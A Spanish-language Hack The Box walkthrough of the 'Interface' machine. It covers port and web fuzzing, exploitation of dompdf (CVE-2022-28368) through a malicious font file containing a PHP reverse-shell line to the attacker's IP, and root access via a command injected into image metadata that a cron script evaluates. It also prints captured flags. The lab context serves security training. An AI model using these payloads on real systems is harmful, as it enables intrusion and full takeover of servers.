Interface es una máquina de HTB con un nivel de dificultad media. Para acceder a la máquina explotaremos un RCE de la herramienta dompdf y para la escalada abusaremos de una tarea cron que nos permite poner la bash con permiso SUID.
Enumeración
Escaneo de puertos
Realizamos un escaneo de los puertos abiertos que puede tener la máquina y lo guardamos en un fichero.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.148.249 -oG allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-11 20:52 CET
Initiating SYN Stealth Scan at 20:52
Scanning 10.129.148.249 [65535 ports]
Discovered open port 22/tcp on 10.129.148.249
Discovered open port 80/tcp on 10.129.148.249
Completed SYN Stealth Scan at 20:52, 19.96s elapsed (65535 total ports)
Nmap scan report for 10.129.148.249
Host is up, received user-set (0.087s latency).
Scanned at 2023-02-11 20:52:29 CET for 20s
Not shown: 49863 closed ports, 15670 filtered ports
Reason: 49863 resets and 15670 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Los puertos que hay abiertos son el 22 (SSH) y el 80 (Web).
Los parámetros utilizados son:
- -p- : Escaneo de todos los puertos. (65535)
- –open: Para que solo muestre los puertos abiertos
- -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
- –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
- -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
- -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
- -Pn: Deshabilitamos el descubrimiento de host mediante ping.
- -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.
Le pasamos la utilidad extractPorts para copiar los puertos en la clipboard y así agilizar el escaneo posterior con nmap.
Realizamos un escaneo de los servicios y versiones. Vemos que como servidor web utiliza nginx.
❯ nmap -p22,80 -sCV 10.129.148.249 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-11 21:04 CET
Nmap scan report for 10.129.148.249
Host is up (0.086s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:89:a0:95:7e:ce:ae:a8:59:6b:2d:2d:bc:90:b5:5a (RSA)
| 256 01:84:8c:66:d3:4e:c4:b1:61:1f:2d:4d:38:9c:42:c3 (ECDSA)
|_ 256 cc:62:90:55:60:a6:58:62:9e:6b:80:10:5c:79:9b:55 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site Maintenance
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
La enumeración de servicios web también se puede realizar con whatweb, reportando algo más de información que nmap.
Podemos ver que hay un email con el dominio de interface.htb así que lo añadimos al /etc/hosts.
Visitamos la página y lo único que hay escrito es lo siguiente.
Si probamos de hacer fuzzing no encontraremos nada así que abrimos el BurpSuite y capturamos la petición de la web.
En la respuesta podemos ver como en el campo Content-Security-Policy hay diversas URL y, una de ellas es el subdominio prd.m.rendering-api.interface.htb que añadimos al /etc/hosts.
Si hacemos un curl nos sale un 404 Not Found y un mensaje de que no ha podido encontrar ningún archivo.
❯ curl -i http://prd.m.rendering-api.interface.htb
HTTP/1.1 404 Not Found
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 22 Feb 2023 12:01:01 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
File not found.
El mensaje nos da una pista de que quizás debemos encontrar alguna ruta o archivo en el subdominio así que aplicamos fuzzing al subdominio.
❯ wfuzz -c --hh=182 -t 200 -w /snap/seclists/25/Discovery/Web-Content/directory-list-2.3-medium.txt http://prd.m.rendering-api.interface.htb/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://prd.m.rendering-api.interface.htb/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000078: 404 0 L 3 W 50 Ch "api"
000001481: 403 1 L 2 W 15 Ch "vendor"
Hacemos otro fuzzing sobre el directorio vendor y cambio el diccionario. Nos descubre dos rutas; dompdf y composer.
❯ wfuzz -c --hc=404 --hh=182 -t 200 -w /snap/seclists/25/Discovery/Web-Content/raft-medium-directories.txt http://prd.m.rendering-api.interface.htb/vendor/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://prd.m.rendering-api.interface.htb/vendor/FUZZ
Total requests: 30000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000009010: 403 1 L 2 W 15 Ch "dompdf"
000023245: 403 1 L 2 W 15 Ch "composer"
Si buscamos con searchsploit podemos descubrir que tiene varias vulnerabilidades, ya que es una herramienta para pasar de HTML a PDF. En caso de que sea vulnerable podremos usar el siguiente exploit.
Ahora hacemos fuzzing a api.
❯ wfuzz -c --hh=50 --hw=13 -t 200 -w /snap/seclists/25/Discovery/Web-Content/raft-medium-directories.txt http://prd.m.rendering-api.interface.htb/api/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://prd.m.rendering-api.interface.htb/api/FUZZ
Total requests: 30000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Al no obtener nada probamos de hacerlo por POST. Descubrimos el endpoint de la herramienta dompdf.
❯ wfuzz -c --hh=50 --hw=13 -X POST -t 200 -w /snap/seclists/25/Discovery/Web-Content/raft-medium-directories.txt http://prd.m.rendering-api.interface.htb/api/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://prd.m.rendering-api.interface.htb/api/FUZZ
Total requests: 30000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000006080: 422 0 L 2 W 36 Ch "html2pdf"
Si probamos a hacer un curl a la ruta completa nos indica que faltan parámetros.
❯ curl -s -i -X POST http://prd.m.rendering-api.interface.htb/api/html2pdf
HTTP/1.1 422 Unprocessable Entity
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 23 Feb 2023 09:35:06 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
{"status_text":"missing parameters"}
Hacemos fuzzing para descubrir que parámetro es el que falta.
❯ wfuzz -c --hh=36 -X POST -t 200 -d '{"FUZZ":"FUZZ"}' -w /snap/seclists/25/Discovery/Web-Content/raft-medium-directories.txt http://prd.m.rendering-api.interface.htb/api/html2pdf
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://prd.m.rendering-api.interface.htb/api/html2pdf
Total requests: 30000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000145: 200 76 L 184 W 1129 Ch "html - html"
Si enviamos una petición con curl nos da un 200 Ok.
❯ curl -s -X POST -i http://prd.m.rendering-api.interface.htb/api/html2pdf -H "Content-Type: application/json" -d '{"html":"test"}'
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 23 Feb 2023 14:22:20 GMT
Content-Type: application/pdf
Content-Length: 1131
Connection: keep-alive
X-Local-Cache: miss
Cache-Control: public
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename=export.pdf
Intrusión
DomPDF Exploitation – RCE (CVE-2022-28368)
Clonamos el repositorio del exploit.
❯ git clone https://github.com/positive-security/dompdf-rce.git
Clonando en 'dompdf-rce'...
remote: Enumerating objects: 343, done.
remote: Counting objects: 100% (343/343), done.
remote: Compressing objects: 100% (271/271), done.
remote: Total 343 (delta 67), reused 329 (delta 62), pack-reused 0
Recibiendo objetos: 100% (343/343), 3.99 MiB | 2.09 MiB/s, listo.
Resolviendo deltas: 100% (67/67), listo
Editamos el exploit.css con nuestra IP.
@font-face {
font-family:'exploitfont';
src:url('http://10.10.14.17/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}
Añadimos esto al exploit_font.php para poder entablar la reverse shell.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.17/4444 0>&1'") ?>
Abrimos un servidor con python3 en el puerto 80.
❯ sudo python3 -m http.server 80
[sudo] contraseña para mrx:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Enviamos una petición con el parámetro html con la etiqueta de link para que nos haga una petición al archivo css.
Como podemos comprobar nos hace dos peticiones.
❯ sudo python3 -m http.server 80
[sudo] contraseña para mrx:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.200 - - [23/Feb/2023 15:42:10] "GET /exploit.css HTTP/1.0" 200 -
10.10.11.200 - - [23/Feb/2023 15:42:10] "GET /exploit_font.php HTTP/1.0" 200 -
El nombre del archivo PHP será igual, pero al final pondrá una cadena hasheada con la URL de la petición. Para saber cuál es el nombre debemos hacer lo siguiente:
❯ echo -n 'http://10.10.14.17/exploit_font.php' | md5sum
56b92152aca08fc3a53e768d66693152 -
Nos ponemos en escucha por el puerto 4444.
❯ nc -nlvp 4444
Listening on 0.0.0.0 4444
Mediante curl hacemos la petición al archivo PHP malicioso que hemos subido.
curl -s -X POST -i http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_56b92152aca08fc3a53e768d66693152.php
Obtenemos acceso como www-data.
❯ nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.200 51294
bash: cannot set terminal process group (1474): Inappropriate ioctl for device
bash: no job control in this shell
www-data@interface:~/api/vendor/dompdf/dompdf/lib/fonts$
Podemos leer la flag del usuario dev sin ningún tipo de problema.
www-data@interface:~$ cd /home
www-data@interface:/home$ ls
dev
www-data@interface:/home$ cd dev
www-data@interface:/home/dev$ ls
user.txt
www-data@interface:/home/dev$ cat user.txt
d860210e03f4c5b756d7abcd0a55e459
www-data@interface:/home/dev$
Escalada de privilegios
Mediante pspy podemos ver que hay una tarea cron bastante interesante.
2023/02/24 CMD: UID=0 PID=33153 | /usr/sbin/CRON -f
2023/02/24 CMD: UID=0 PID=33158 | /bin/bash /root/clean.sh
2023/02/24 CMD: UID=0 PID=33159 | /bin/bash /usr/local/sbin/cleancache.sh
Como podemos ver, el archivo lo que hace es comprobar el directorio tmp para que en caso de que en los metadatos de algún archivo hay algo de dompdf lo borra automáticamente.
www-data@interface:~$ cat /usr/local/sbin/cleancache.sh
#! /bin/bash
cache_directory='/tmp'
for cfile in '$cache_directory'/*; do
if [[ -f '$cfile' ]]; then
meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)
if [[ '$meta_producer' -eq 'dompdf' ]]; then
echo 'Removing $cfile'
rm '$cfile'
fi
fi
done
Creamos un archivo en para poner la bash con permisos SUID en el directorio /var/www.
www-data@interface:~$ nano suid.sh
www-data@interface:~$ pwd
/var/www
www-data@interface:~$ cat suid.sh
#!/bin/bash
chmod u+s /bin/bash
www-data@interface:~$ chmod +x suid.sh
www-data@interface:~$
Utilizaremos este payload, ya que extrae la información del campo Producer
a[$(<command to execute here>>&2)]
Mediante exiftool añadimos al campo Producer la ruta del archivo todo esto en una imagen cualquiera.
❯ exiftool -Producer='a[$(/var/www/suid.sh>&2)]' gato.jpeg
1 image files updated
Pasamos el archivo JPEG a la máquina y lo movemos al directorio /tmp.
www-data@interface:~$ wget http://10.10.14.17/gato.jpeg
--2023-02-24 00:23:13-- http://10.10.14.17/gato.jpeg
Connecting to 10.10.14.17:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 196657 (192K) [image/jpeg]
Saving to: 'gato.jpeg'
gato.jpeg 100%[===================>] 192.05K 1.15MB/s in 0.2s
2023-02-24 00:23:14 (1.15 MB/s) - 'gato.jpeg' saved [196657/196657]
www-data@interface:~$ mv gato.jpeg /tmp
Después de unos segundos comprobamos que la bash es SUID y nos convertimos en root.
www-data@interface:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 18 2022 /bin/bash
www-data@interface:~$ bash -p
bash-4.4# cat /root/root.txt
fc5a6d98548be012b9ec9ea2bf84520d
bash-4.4#